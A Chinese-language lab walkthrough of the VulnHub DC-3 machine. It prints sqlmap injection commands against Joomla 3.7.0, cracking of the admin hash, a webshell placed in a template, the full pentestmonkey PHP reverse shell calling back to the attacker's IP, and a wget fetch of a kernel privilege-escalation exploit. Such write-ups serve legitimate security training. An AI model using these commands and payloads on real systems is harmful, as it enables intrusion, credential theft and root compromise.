DC-3靶机刷题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1-P5ezyt5hUbmmGMP4EI7kw?pwd=rt2c 
提取码:rt2c 

参考:

  • http://t.csdnimg.cn/hhPi8
  • https://www.vulnhub.com/entry/dc-32,312/ 官网
  • http://t.csdnimg.cn/5mVZ7
  • DC-3 (1).pdf
  • https://c3ting.com/archives/vulnhnbshua-ti—dc-3
  • 【【基础向】超详解vulnhub靶场DC-3-一靶多打】 https://www.bilibili.com/video/BV11a411d78T/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
  • ChatGPT

image.png

环境搭建

当出现DE 设备 (磁盘/CD-ROM)配置不正确。“ide0:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”。错误时,
将IDE改为0:0即可
image.png
image.png
描述

DC-3是另一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。
与以前的DC版本一样,这个版本在设计时考虑到了初学者,尽管这一次只有一个flag,一个入口点,根本没有线索。
Linux技能和对Linux命令行的熟悉程度是必须的,基本的渗透测试工具的一些经验也是必须的。
对于初学者来说,Google可以提供很大的帮助,但你可以随时在@DCAU7上发推文给我,寻求帮助,让你再次前进。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
对于那些有CTF和Boot2Root挑战经验的人来说,这可能根本不会花费你很长时间(事实上,它可能需要不到20分钟的时间)。
如果是这样的话,如果你希望它成为一个更大的挑战,你可以随时重做挑战,并探索其他获得root和获得flag的方法。

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.131

1、导入VMware虚拟机

下载完成后,得到DC-3.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

一.信息收集

基础信息查询

0x01 查看存活主机
arp-scan -l       #二层主机扫描,主动发送ARP包进行嗅探

image.png

0x02 查看开放端口 和 0x03 查看端口服务
nmap -p- 192.168.1.131 -A# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。

image.png
80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

0x04 下载joomscan

image.png


JoomScan是一款用于扫描和评估Joomla内容管理系统(CMS)的安全性的工具。它可以帮助发现潜在的漏洞、配置错误和安全弱点。
JoomScan通过对目标Joomla网站进行自动化扫描,并使用预定义的技术和漏洞检测方法来识别可能存在的问题。它可以检查版本信息、敏感文件泄露、常见漏洞、不安全的配置设置等。
以下是使用JoomScan的基本语法:

joomscan -u <target>

其中:

  • -u选项用于指定要扫描的目标Joomla网站URL。

例如,要使用JoomScan对网站http://example.com进行扫描,可以执行以下命令:

joomscan -u http://example.com

JoomScan将开始扫描目标网站,并报告任何发现的潜在漏洞和安全问题。


0x05查看joomscan版本信息

joomscan -u http://192.168.1.131

image.png
扫描出了cms的版本,还有一些目录和后台登入界面192.168.1.131/administrator/

二:漏洞发现

查看版本漏洞

searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南


“searchsploit”是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。
SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。这种能力特别适用于在没有互联网接入的情况下对网络进行安全评估。许多漏洞都包含了二进制文件的链接,这些文件不包含在标准存储库中,但可以在我们的Exploit-DB二进制文件中找到。
如果您预计您将在一个没有Internet的网络环境进行渗透测试,请确保您检查了两个存储库,以获得最完整的数据集。注意,这个工具的名称是“SearchSploit“,顾名思义,它将搜索所有的漏洞和shellcode。它不会包含任何文件和谷歌黑客数据库的结果
安装运行:kali自带searchsploit,其他linux,在github下载tar.gz压缩包,直接运行里边的 searchsploit 执行文件即可
github地址:https://github.com/offensive-security/exploitdb
终端输入searchsploit启动(已经默认在Kali/Parrot中安装)


searchsploit joomla 3.7.0

image.png
当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是
/usr/share/exploitdb/exploits/**php/webapps/42033.txt**
直接查看一下
cat /usr/share/exploitdb/exploits/**php/webapps/42033.txt**
image.png
给出了注入点和Sqlmap的使用方法

三. 漏洞利用

1. SQL注入

利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结

  • 列出所有数据库
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

--dbs列出所有数据库
image.png
image.png

  • 列出指定数据库的所有表
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 列出表

image.png
image.png
发现敏感users用户表

  • 查看所有列名
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" --columns
表名含有特殊符号,需要用引号包括这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

image.png
image.png

  • 查看用户名与密码字段
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb -T "#__users" -C username,password --dump

image.png
image.png

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明


John介绍及常用命令使用说明_john使用-CSDN博客
John the Ripper(通常简称为John)是一款流行的密码破解工具,专门用于破解密码哈希值。它支持多种密码哈希算法,并使用暴力破解、字典攻击、混合攻击等多种方法来尝试破解密码。
John是一个命令行工具,可以在各种操作系统上运行。它基于已有的密码哈希值(例如Linux系统中的/etc/shadow文件)来进行破解。您需要提供一个包含可能的密码列表(称为字典文件)作为输入,或者使用内置的密码规则和策略来生成密码组合。
以下是使用John的基本语法:

john <hashed_file>

其中:

  • <hashed_file> 是包含密码哈希值的文件路径。

例如,要使用John对密码哈希值文件/etc/shadow进行破解,可以执行以下命令:

john /etc/shadow

John将根据配置的攻击模式和密码破解选项,尝试破解给定的密码哈希值。如果成功找到密码,则会显示在屏幕上。


先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件
image.png

识别hash类型并破解
john 1.txt
john --show 1.txt

image.png
所以密码为:snoopy
报错处理:

如何处理哈希密码文件在john时候无法解密的方法sudo John 文件 —format=crypt然后再输入sudo John —show 文件
密码是snoopy,接下来登入后台 192.168.1.131/administrator/

image.png
image.png
image.png
探索后台管理员系统,发现了文件上传的点位,在beez3模块里
image.png
我们可以自己创建一个文件,写入木马 也可以直接反弹shell
image.png
保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.1.131/templates/beez3/1.php

访问1.php让其解析,可以执行命令
image.png

接下来试试反弹shell

修改1.php的内容
image.png
将PHP反弹shell代码复制进去

  <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit (0);$VERSION = "1.0";$ip = '192.168.1.128';  // You have changed this$port = 8888;  // And this$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies.  Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string
";}}?> 

首先kali监听8888端口

nc -lvvnp 8888

然后再访问一下1.php让其解析,便可以反弹成功
image.png
但是现在还不是root权限
image.png


可以修改交互

Get交互shell

跟DC-1一样,利用python获取交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png


四. Linux提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考
查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口

0x01 查看版本信息

uname -a

image.png

cat /proc/version

image.png


cat /proc/version命令用于查看当前正在运行的Linux操作系统内核的版本信息。
执行该命令时,系统将打开/proc/version文件并将其内容显示在终端上。该文件包含了有关内核版本、编译日期和其他相关信息。


cat /etc/issue

image.png


cat /etc/issue命令用于显示当前操作系统发行版的信息。
执行该命令时,系统将打开/etc/issue文件并将其内容显示在终端上。该文件通常包含了操作系统发行版的名称和版本号等信息。
示例输出可能如下所示:

Ubuntu 16.04 LTS \n \l

输出中包含了操作系统的名称(例如Ubuntu)以及版本号(例如20.04.3 LTS)。\n表示换行,\l表示登录提示符后的字符串。
通过查看/etc/issue文件,您可以快速获取当前操作系统发行版的信息,这对于确认正在使用的操作系统和版本非常有用。


得到操作系统与其版本

搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另外一个终端

searchsploit Ubuntu 16.04

image.png
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path
/usr/share/exploitdb/exploits/linux/local/39772.txt
查看一下

cat /usr/share/exploitdb/exploits/linux/local/39772.txt 

image.png
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
上面的无法下载就换下面这个
exp下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载该压缩包并放到kali里,解压该文件,并在改目录下开启HTTP服务,就可以将下载好的文件导入到DC-3靶机里了
image.png
image.png
出现这个说明服务开启成功,exp地址是

http://192.168.1.128:8888/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具
而且要在/var/www/html目录下才有权限下载

www-data@DC-3:/var/www/html$ wget http://192.168.1.128:8888/exploit.tar

image.png
下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

tar -xvf exploit.tar命令用于解压缩(解包).tar格式的文件。在执行该命令时,您需要提供要解压缩的目标文件名。
请注意,在终端中执行该命令之前,请确保您已经位于包含 exploit.tar 文件的目录下。如果不在同一目录下,您需要提供完整的文件路径。
以下是执行 tar -xvf exploit.tar 的示例命令:

tar -xvf exploit.tar

命令中的选项说明:

  • -x 用于解压缩 (extract) 文件。
  • -v 用于显示详细的操作信息 (verbose),让您看到解压的过程。
  • -f 后跟要解压的文件名。

执行该命令后,exploit.tar 将会被解压缩,并且文件中的内容将被提取到当前目录中。
请注意,如果 exploit.tar 是一个压缩文件(如 .tar.gz 或 .tar.bz2),您可能需要使用不同的命令来进行解压缩。具体的命令将根据文件的扩展名而有所不同


接着cd进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

image.png
根据原来的39772.txt的提示
执行compile.shdoubleput这两个文件
image.png
执行下两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

image.png

./doubleput

image.png
提权成功!!!
获得root权限
image.png
image.png

也可以用find命令来找flag文件
find / -name *flag*

image.png

总结

这个靶机考察了使用者对于cms的利用手段,hash密文爆破方式,sqlmap的使用方式,对于漏洞的利用能力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/241926.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件是什么?前端,后端,数据库

软件是什么&#xff1f; 由于很多东西没有实际接触&#xff0c;很难理解&#xff0c;对于软件的定义也是各种各样。但是我还是不理解&#xff0c;软件开发中的前端&#xff0c;后端&#xff0c;数据库到底有什么关系呢&#xff01; 这个问题足足困扰了三年半&#xff0c;练习时…

C# 实现单线程异步互斥锁

文章目录 前言一、异步互斥锁的作用是什么&#xff1f;示例一、创建和销毁 二、如何实现&#xff1f;1、标识&#xff08;1&#xff09;标识是否锁住&#xff08;2&#xff09;加锁&#xff08;3&#xff09;解锁 2、异步通知&#xff08;1&#xff09;创建对象&#xff08;2&a…

C++类与对象(四):再谈构造函数(详解初始化列表)、Static成员

上次把默认的成员函数部分梳理完毕了&#xff1a;C初阶类与对象&#xff08;三&#xff09;&#xff1a;详解复制构造函数和运算符重载 今天接着讲下面的内容&#xff1a; 文章目录 1.再谈构造函数1.1构造函数体赋值1.2初始化列表1.2.1格式和概念1.2.2由来情况1情况2 1.2.3特性…

如何在云端加速缓存构建

缓存是指将某类数据存储起来以便以后重复使用的过程&#xff0c;它的运用在开发场景中非常普遍。类似于你习惯把最常用的调料放在厨房台面上&#xff0c;而不是橱柜里&#xff0c;这样你在准备大餐时就可以轻松取用。 但对于一个更为技术性、更精确的用例&#xff0c;比如像谷…

linux 使用笔记

1.查看运行内存 a.Free 快速查看内存的方法&#xff0c;也是经常使用的命令&#xff0c; -h 更人性化的显示内存的单元 -m 以M的形式显示 b.Top Top命令提供了实时性的运行中的程序的资源使用统计。可以根据内存的使用和大小来进行排序。 如上所示&#xff0c;top命令可以看…

全网最详细!!Python 爬虫快速入门

1. 背景 最近在工作中有需要使用到爬虫的地方&#xff0c;需要根据 Gitlab Python 实现一套定时爬取数据的工具&#xff0c;所以借此机会&#xff0c;针对 Python 爬虫方面的知识进行了学习&#xff0c;也算 Python 爬虫入门了。 需要了解的知识点&#xff1a; Python 基础语…

SpringBoot(三层框架Controller,Mapper,Service)中遇到的一些注解整理

本文主要从Controller层,Service层,Mapper层这三层架构中记录用到的各种注解 还有一些MyBatis用到的注解 持续更新到本人的毕设做完为止,太多了太多了根本学不完哈哈哈 1.Controller层 1.1GetMapping/PostMapping/DeleteMapping/PutMapping 用于建立HTTP请求与处理方法之间的…

Flutter中使用minio_new库

前言 在移动开发中&#xff0c;我们常常会遇到需要在App中处理文件上传和下载的需求。Minio是一个开源的对象存储服务&#xff0c;它兼容Amazon S3云存储服务接口&#xff0c;可以用于存储大规模非结构化的数据。 开始之前 在pubspec.yaml文件中添加minio_new库的依赖&#xf…

快乐学Python,使用Python为电视剧主演生成词云

上篇文章我们串联了爬虫技术的几个基础环节&#xff0c;将电视剧的信息保存到了 csv 文件。这里&#xff0c;我们做个小实验&#xff1a;将主演信息生成词云。&#xff08;其他文章可看专栏文章&#xff09; 1、需求描述 将全集网抽取的电视剧&#xff08;名称、评分、主演&a…

云服务器基于Centos创建个人云盘实践经验分享

文章目录 安装运行Cloudreve安装ossfscentos更换yum源 配置ossfs挂载oss存储配置开机启动 配置cloudreve推荐阅读 安装运行Cloudreve 执行如下命令&#xff0c;下载cloudreve安装包。 wget https://labfileapp.oss-cn-hangzhou.aliyuncs.com/cloudreve_3.3.1_linux_amd64.tar…

爬虫笔记(一):实战登录古诗文网站

需求&#xff1a;登录古诗文网站&#xff0c;账号&#xff0b;密码&#xff0b;图形验证码 第一&#xff1a;自己注册一个账号&#xff0b;密码哈 第二&#xff1a;图形验证码&#xff0c;需要一个打码平台&#xff08;充钱&#xff0c;超能力power&#xff01;&#xff09;或…

纯命令行在Ubuntu中安装qemu的ubuntu虚拟机,成功备忘

信息总体还算完整&#xff0c;有个别软件更新了名字&#xff0c;所以在这备忘一下 1. 验证kvm是否支持 ________________________________________________________________ $ grep vmx /proc/cpuinfo __________________________________________________________________…

【android】 android 里写jni

目录 &#xff08;1&#xff09; 环境准备 (2) 关联c文件到gradle文件 &#xff08;3&#xff09; 生成了 (4) 书写 &#xff08;5&#xff09; 使用 &#xff08;6&#xff09;业务调用 参考文档 &#xff08;1&#xff09; 环境准备 ndk, cmake (2) 关联c文件到gr…

three.js从入门到精通系列教程002 - three.js正交相机OrthographicCamera

<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>three.js从入门到精通系列教程002 - three.js正交相机OrthographicCamera</title><script src"ThreeJS/three.js"></script><script src&qu…

Android Matrix绘制PaintDrawable设置BitmapShader,手指触点为圆心scale放大原图,Kotlin(二)

Android Matrix绘制PaintDrawable设置BitmapShader&#xff0c;手指触点为圆心scale放大原图&#xff0c;Kotlin&#xff08;二&#xff09; 在 Android Matrix绘制PaintDrawable设置BitmapShader&#xff0c;手指触点为圆心scale放大原图&#xff0c;Kotlin-CSDN博客 基础上&…

Vscode 上安装 Compilot

GitHub Copilot 是由 OpenAI 和 GitHub 开发的 AI 工具。其目的是通过自动完成代码来帮助开发人员使用集成开发环境 &#xff08;IDE&#xff09;&#xff0c;如 Visual Studio Code。它目前仅作为技术预览版提供&#xff0c;因此只有已在候补名单上被接受的用户才能访问它。对…

C# wpf 实现任意控件(包括窗口)更多调整大小功能

WPF拖动改变大小系列 第一节 Grid内控件拖动调整大小 第二节 Canvas内控件拖动调整大小 第三节 窗口拖动调整大小 第四节 附加属性实现拖动调整大小 第五章 拓展更多调整大小功能&#xff08;本章&#xff09; 文章目录 WPF拖动改变大小系列前言一、添加的功能1、任意控件Drag…

分布式ID(2):雪花算法生成ID

1 雪花算法简介 这种方案大致来说是一种以划分命名空间(UUID也算,由于比较常见,所以单独分析)来生成ID的一种算法,这种方案把64-bit分别划分成多段,分开来标示机器、时间等,比如在snowflake中的64-bit分别表示如下图(图片来自网络)所示: 41-bit的时间可以表示(1L&l…

汽车微电机行业研究:预计2029年将达到188亿美元

微电机行业是技术密集型行业&#xff0c;其起源于欧洲的德国、瑞士等国家&#xff0c;发展于日本。随着改革开放&#xff0c;中国作为发展中国家&#xff0c;承接了德国、日本等发达国家的汽车微电机产业转移&#xff0c;技术扩散逐步向我国转移。 微特电机广泛应用于信息处理设…

高清网络视频监控系统技术方案

目 录 一、概述 二、建设目标及需求 &#xff08;一&#xff09;建设总目标 &#xff08;二&#xff09;需求分析 三、设计依据与设计原则 &#xff08;一&#xff09;设计依据 &#xff08;二&#xff09;设计原则 四、建设方案设计 &#xff08;一&…